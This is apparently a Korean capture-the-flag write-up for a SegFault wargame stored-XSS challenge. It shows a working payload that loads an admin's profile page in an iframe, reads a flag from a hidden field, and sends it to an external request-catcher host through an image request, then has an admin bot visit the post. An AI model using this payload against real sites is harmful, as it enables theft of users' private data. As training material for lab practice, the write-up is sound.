
0. 마이페이지 정보란 확인

flag 정보가 있을 마이페이지의 정보란은
<input> 태그 안에 "info"라는 name 속성을 가지고 있으며,
관리자 계정으로 접속 시, placeholder 속성에 값으로 FLAG가 출력된다는 것을 추측할 수 있다.
1. XSS 포인트

게시판에 HTML 특수문자를 삽입하여 글을 작성했다.

본문의 특수문자는 HTML Entity로 치환되지 않고, 그대로 삽입되는 것을 확인할 수 있다.
(* Stored XSS 포인트 확인)
2. 스크립트 삽입
2.1. 마이페이지 userInfo 데이터 추출
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="xss" onload="payload()"></iframe>
<script>
function payload() {
var iframeTag = document.getElementById('xss');
var dom = iframeTag.contentDocument;
var flag = dom.getElementById('userInfo').placeholder;
console.log(flag);
}
</script>

<iframe> 태그를 이용해 게시글에 마이페이지를 불러온 뒤,
flag가 있을 정보란의 placeholder 값을 가져오는 스크립트를 삽입했다.

스크립트가 삽입된 게시글에 접근하면,
<iframe>을 통해 본문에 마이페이지가 출력되는 모습을 볼 수 있으며,
개발자 도구의 console.log에 마이페이지 정보란의 텍스트 값이 출력되는 것을 확인할 수 있다.
2.2. 추출한 데이터 공격자 서버로 전달
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="xss" onload="payload()"></iframe>
<script>
function payload() {
var iframeTag = document.getElementById('xss');
var dom = iframeTag.contentDocument;
var flag = dom.getElementById('userInfo').placeholder;
var i = new Image();
i.src="https://en88y0voes91u.x.pipedream.net/?flag=" + flag;
}
</script>

이미지 태그를 이용해 추출한 userInfo 데이터를 공격자 서버의 요청 값으로 전달하는 스크립트를 삽입했다.

스크립트를 삽입한 게시글에 접근해 보니,
공격자 서버에 추출한 데이터가 전달되는 것을 확인할 수 있었다.

관리자 봇이 스크립트가 삽입된 게시글에 접근할 수 있도록
URL을 전달했다.

공격자 서버를 확인해 보면,
관리자 계정의 마이페이지 속 정보란의 FLAG를 획득할 수 있다.
'WarGame > SegFault' 카테고리의 다른 글
| GET Admin 2 (0) | 2024.07.08 |
|---|---|
| GET Admin 1 (0) | 2024.07.08 |
| Steal Info (1) | 2024.06.30 |
| Basic Script Prac (0) | 2024.06.29 |
| XSS Challenge (2) | 2024.06.24 |